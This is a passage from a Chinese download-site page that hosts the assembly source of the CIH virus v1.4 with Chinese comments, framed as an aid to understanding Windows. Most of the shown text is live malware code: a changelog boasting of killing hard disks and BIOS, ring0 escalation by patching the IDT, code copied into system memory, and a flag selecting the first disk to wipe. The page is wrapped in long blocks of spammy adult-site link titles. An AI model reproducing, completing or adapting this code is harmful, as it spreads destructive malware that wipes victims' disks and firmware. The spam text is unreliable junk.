亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? _cih病毒1.4版本之中文注釋.txt

?? 匯編格式的CIH病毒的源碼分析文件,包括1.1-1.4版本,通過對此病毒的分析,可以對WINDOWS系統有更深入的了解
?? TXT
?? 第 1 頁 / 共 3 頁
字號:
;CIH病毒1.4版本之中文注釋
;源程序中的英文注釋未作修改,全部保留 **************************************************************************** 
; * The Virus Program Information * 
; **************************************************************************** 
; * * 
; * Designer : CIH Source : TTIT of TATUNG in Taiwan * 
; * Create Date : 04/26/1998 Now Version : 1.4 * 
; * Modification Time : 05/31/1998 * 
; * * 
; * Turbo Assembler Version 4.0 : tasm /m cih * 
; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe * ;編譯連接方法 
; * * ;使用的是TurboAssembler 
; *==========================================================================* ;可在Borland C++ 3.1中找到 
; * Modification History * 
; *==========================================================================* 
; * v1.0 1. Create the Virus Program. * 
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * 
; * 04/26/1998 3. Virus Code doesn't Reload into System. * 
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * 
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * 
; * 6. When System Opens Existing PE File, the File will be * 
; * Infected, and the File doesn't be Reinfected. * 
; * 7. It is also Infected, even the File is Read-Only. * 
; * 8. When the File is Infected, the Modification Date and Time * 
; * of the File also don't be Changed. * 
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * 
; * Previous FileSystemApiHook, it will Call the Function * 
; * that the IFS Manager Would Normally Call to Implement * 
; * this Particular I/O Request. * 
; * 10. The Virus Size is only 656 Bytes. * 
; *==========================================================================* 
; * v1.1 1. Especially, the File that be Infected will not Increase * 
; * it's Size... ^__^ * 
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * 
; * When Exception Error Occurs, Our OS System should be in * 
; * Windows NT. So My Cute Virus will not Continue to Run, * 
; * it will Jmup to Original Application to Run. * 
; * 3. Use Better Algorithm, Reduce Virus Code Size. * 
; * 4. The Virus "Basic" Size is only 796 Bytes. * 
; *==========================================================================* 
; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * 
; * 2. Modify the Bug of v1.1 * 
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. * 
; *==========================================================================* 
; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. * 
; * So When Open WinZip Self-Extractor ==> Don't Infect it. * 
; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. * 
; *==========================================================================* 
; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. * 
; * 2. Change the Date of Killing Computers. * 
; * 05/31/1998 3. Modify Virus Version Copyright. * 
; * 4. The Virus "Basic" Size is 1019 Bytes. * 
; **************************************************************************** 

.586P ;586保護模式匯編 

; **************************************************************************** 
; * Original PE Executable File(Don't Modify this Section) * 
; **************************************************************************** 

OriginalAppEXE SEGMENT 

FileHeader: ;編譯連接后的PE格式可執行文件文件頭 
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h 
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h 
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h 
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh 
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h 
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h 
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh 
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh 
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h 
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah 
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h 
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h 
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h 
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h 
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h 
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h 
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h 
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h 
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h 
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h 
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h 
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h 
dd 00000000h, VirusSize 

OriginalAppEXE ENDS 

; **************************************************************************** 
; * My Virus Game * 
; **************************************************************************** 

; ********************************************************* 
; * Constant Define * 
; ********************************************************* 

TRUE = 1 
FALSE = 0 

DEBUG = FALSE 

MajorVirusVersion = 1 ;主版本號 
MinorVirusVersion = 4 ;副版本號 

VirusVersion = MajorVirusVersion*10h+MinorVirusVersion ;合成版本號 


IF DEBUG ;是否是調試用 

FirstKillHardDiskNumber = 81h ;殺掉第二個硬盤“d:” 
HookExceptionNumber = 05h ;使用5號中斷 

ELSE 

FirstKillHardDiskNumber = 80h ;殺掉第一個硬盤“c:” 
HookExceptionNumber = 03h ;使用3號中斷 

ENDIF 


FileNameBufferSize = 7fh 

; ********************************************************* 
; ********************************************************* 

VirusGame SEGMENT 

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame 
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame 

; ********************************************************* 
; * Ring3 Virus Game Initial Program * 
; ********************************************************* 

MyVirusStart: 
push ebp 

; ************************************* 
; * Let's Modify Structured Exception * 
; * Handing, Prevent Exception Error * 
; * Occurrence, Especially in NT. * 
; ************************************* 

lea eax, [esp-04h*2] 

xor ebx, ebx 
xchg eax, fs:[ebx] 

call @0 
@0: 
pop ebx ;獲取程序起始偏移量? 
;用此偏移量+相對偏移量獲得絕對地址(病毒程序大量用到) 
lea ecx, StopToRunVirusCode-@0[ebx] 
push ecx 

push eax 

; ************************************* 
; * Let's Modify * 
; * IDT(Interrupt Descriptor Table) * 
; * to Get Ring0 Privilege... * 
; ************************************* 

push eax ; 
sidt [esp-02h] ; Get IDT Base Address ?;獲得中斷描述符表的基址到ebx 
pop ebx ; 

add ebx, HookExceptionNumber*08h+04h ; ZF = 0 ;計算要用中斷的基址到ebx 

cli ;在改表項前關中斷? 

mov ebp, [ebx] ; Get Exception Base 
mov bp, [ebx-04h] ; Entry Point ?;取得中斷基址到ebp 

lea esi, MyExceptionHook-@1[ecx] 

push esi ?;esi為病毒中斷例程地址 

mov [ebx-04h], si ; 
shr esi, 16 ; Modify Exception 
mov [ebx+02h], si ; Entry Point Address;修改中斷基址使指向病毒中斷例程 

pop esi 

; ************************************* 
; * Generate Exception to Get Ring0 * 
; ************************************* 

int HookExceptionNumber ; GenerateException;以中斷的方式進入0級 
ReturnAddressOfEndException = $ 

; ************************************* 
; * Merge All Virus Code Section * 
; ************************************* 

push esi 
mov esi, eax ;esi指向病毒開始處 

LoopOfMergeAllVirusCodeSection: 

mov ecx, [eax-04h] 

rep movsb ;拷貝病毒代碼到分配好的系統內存首址 

sub eax, 08h 

mov esi, [eax] 

or esi, esi 
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 ;拷貝結束 

jmp LoopOfMergeAllVirusCodeSection ;拷貝下一段 

QuitLoopOfMergeAllVirusCodeSection: 

pop esi 

; ************************************* 
; * Generate Exception Again * 
; ************************************* 

int HookExceptionNumber ; GenerateException Aga 
;再一次進入0級 

; ************************************* 
; * Let's Restore * 
; * Structured Exception Handing * 
; ************************************* 

ReadyRestoreSE: 
sti ;開中斷 

xor ebx, ebx 

jmp RestoreSE 

; ************************************* 
; * When Exception Error Occurs, * 
; * Our OS System should be in NT. * 
; * So My Cute Virus will not * 
; * Continue to Run, it Jmups to * 
; * Original Application to Run. * 
; ************************************* 

StopToRunVirusCode: 
@1 = StopToRunVirusCode 

xor ebx, ebx 
mov eax, fs:[ebx] 
mov esp, [eax] 

RestoreSE: 
pop dword ptr fs:[ebx] 
pop eax 

; ************************************* 
; * Return Original App to Execute * 
; ************************************* 

pop ebp 

push 00401000h ; Push Original 
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack 
;把原程序的開始地址壓棧 
ret ; Return to Original App Entry Point ;以子程序返回形式返回到原程序的開始處 

; ********************************************************* 
; * Ring0 Virus Game Initial Program * 
; ********************************************************* 

MyExceptionHook: 
@2 = MyExceptionHook 

jz InstallMyFileSystemApiHook ;如果病毒代碼已拷貝好了 
;轉到安裝文件系統鉤子的程序 
; ************************************* 
; * Do My Virus Exist in System !? * 
; ************************************* 

mov ecx, dr0 ;察看dr0是否設置過(dr0為病毒駐留標志) 
jecxz AllocateSystemMemoryPage ;沒有設置,則分配系統內存 

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException 

; ************************************* 
; * Return to Ring3 Initial Program * 
; ************************************* 

ExitRing0Init: 
mov [ebx-04h], bp ; 
shr ebp, 16 ; Restore Exception 
mov [ebx+02h], bp ; ;恢復原來的中斷基址 

iretd ;中斷返回 

; ************************************* 
; * Allocate SystemMemory Page to Use * 
; ************************************* 

AllocateSystemMemoryPage: 

mov dr0, ebx ; Set the Mark of My Virus Exist in System 
;設置dr0,它是病毒駐留的標志 

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
一二三区精品视频| 亚洲成人在线网站| 26uuu国产电影一区二区| 91麻豆精品91久久久久久清纯 | 欧美日韩中文精品| 91久久精品一区二区三区| 成人av午夜电影| 91一区二区三区在线观看| 色婷婷av久久久久久久| 欧洲亚洲精品在线| 日韩一区二区三区在线| 日韩欧美国产一区在线观看| 日韩一区二区三区四区| 久久久影视传媒| 国产精品传媒入口麻豆| 一区二区国产视频| 免费人成精品欧美精品| 九色综合狠狠综合久久| 国产 日韩 欧美大片| a美女胸又www黄视频久久| 欧美日韩一级二级| 久久蜜桃av一区精品变态类天堂| 国产精品福利一区二区| 亚洲高清久久久| 久草在线在线精品观看| 不卡视频免费播放| 欧美日韩久久不卡| 久久综合色之久久综合| 亚洲乱码国产乱码精品精可以看| 日韩**一区毛片| 99热99精品| 欧美一区2区视频在线观看| 欧美韩日一区二区三区四区| 一区二区三区不卡在线观看 | 精品欧美乱码久久久久久1区2区| 久久久精品2019中文字幕之3| 亚洲视频免费在线| 秋霞av亚洲一区二区三| 波多野结衣91| 日韩欧美激情一区| 亚洲狠狠丁香婷婷综合久久久| 美女一区二区视频| 在线看不卡av| 欧美国产精品专区| 男男视频亚洲欧美| 欧美最猛性xxxxx直播| 国产亚洲精品7777| 免费成人在线观看视频| 欧美性视频一区二区三区| 亚洲国产精品v| 男女激情视频一区| 欧美理论电影在线| 亚洲精品日产精品乱码不卡| 国产精品羞羞答答xxdd| 日韩久久久久久| 亚洲高清中文字幕| 在线观看日产精品| 亚洲欧美另类小说| 99在线精品观看| 国产精品无人区| 国产成人在线色| www国产精品av| 久久精品二区亚洲w码| 欧美一区二区在线免费播放| 亚洲成人黄色小说| 欧美片网站yy| 午夜一区二区三区在线观看| 欧美三级欧美一级| 亚洲午夜视频在线观看| 在线看日韩精品电影| 一区二区高清视频在线观看| 91精品福利在线| 亚洲国产精品久久久久秋霞影院| 色欧美日韩亚洲| 亚洲图片欧美视频| 欧美色图天堂网| 日韩 欧美一区二区三区| 日韩视频免费观看高清完整版在线观看| 一区二区三区四区国产精品| 欧美性极品少妇| 日本网站在线观看一区二区三区| 欧美一区二区三区性视频| 美腿丝袜在线亚洲一区| 久久久久久亚洲综合影院红桃| 国产精品1区二区.| 中文av字幕一区| 99久久免费精品高清特色大片| 亚洲乱码日产精品bd| 欧美天堂一区二区三区| 免费黄网站欧美| 国产精品每日更新| 91福利在线导航| 美国毛片一区二区| 国产欧美久久久精品影院| 色综合色狠狠综合色| 亚洲电影一区二区三区| 欧美第一区第二区| caoporn国产一区二区| 亚洲午夜一二三区视频| 久久色成人在线| 91美女片黄在线| 久久精品久久精品| 亚洲三级在线免费观看| 日韩欧美在线观看一区二区三区| 韩国v欧美v日本v亚洲v| 亚洲精品视频一区二区| 日韩欧美激情一区| 91小视频免费观看| 久久精品国产第一区二区三区| 亚洲色图丝袜美腿| 欧美电视剧在线看免费| 91黄色免费网站| 国产精品夜夜嗨| 免费成人在线视频观看| 亚洲欧美日韩国产中文在线| 欧美一级片在线看| 色综合视频一区二区三区高清| 狠狠色丁香婷婷综合| 亚洲不卡av一区二区三区| 国产免费久久精品| 91精品国产综合久久久蜜臀图片| av一区二区三区在线| 久久国内精品视频| 午夜视频一区在线观看| 亚洲精品福利视频网站| 国产精品人人做人人爽人人添| 日韩一级免费观看| 精品视频一区三区九区| 99热国产精品| 成人在线综合网| 国产综合色视频| 久久国产精品一区二区| 日韩电影一区二区三区| 亚洲专区一二三| 亚洲欧美激情在线| 国产欧美日韩三级| 欧美国产一区二区在线观看| 精品久久人人做人人爽| 欧美日本国产视频| 一本一道久久a久久精品 | 精品在线一区二区| 日韩av一级片| 偷拍亚洲欧洲综合| 午夜视黄欧洲亚洲| 日韩影院在线观看| 另类人妖一区二区av| 日韩av电影免费观看高清完整版 | 欧美一卡在线观看| 欧美一区二区大片| 日韩一级大片在线观看| 日韩色在线观看| 久久一区二区三区四区| 精品精品国产高清一毛片一天堂| 日韩一区和二区| 久久久亚洲精品石原莉奈| 久久精品亚洲精品国产欧美| 国产亚洲欧洲997久久综合| 日本一区二区三区在线观看| 国产精品美女久久久久久久久久久 | 日本成人在线不卡视频| 日韩国产欧美视频| 美女视频黄 久久| 国产在线日韩欧美| 不卡的av在线播放| 欧美三级电影一区| 欧美一级日韩免费不卡| 久久精品视频在线看| 国产精品嫩草久久久久| 亚洲激情一二三区| 日本成人超碰在线观看| 国产精品影视在线| 色综合久久88色综合天天6| 欧美精品在线观看播放| 欧美精品一区视频| 亚洲人成伊人成综合网小说| 亚洲国产另类精品专区| 精品一区二区在线播放| 不卡的av电影| 欧美视频三区在线播放| www成人在线观看| 亚洲精品综合在线| 精品一区二区三区视频在线观看| voyeur盗摄精品| 7799精品视频| 国产精品天天看| 视频一区二区三区入口| 成人午夜激情在线| 在线成人小视频| 中文字幕乱码久久午夜不卡| 午夜精品福利视频网站| 成人精品国产一区二区4080| 欧美精品在线观看一区二区| 亚洲国产成人在线| 日韩av电影天堂| 欧美午夜精品理论片a级按摩| 久久久影视传媒| 人人精品人人爱| 在线一区二区观看| 国产精品传媒入口麻豆| 精品一区二区三区在线播放|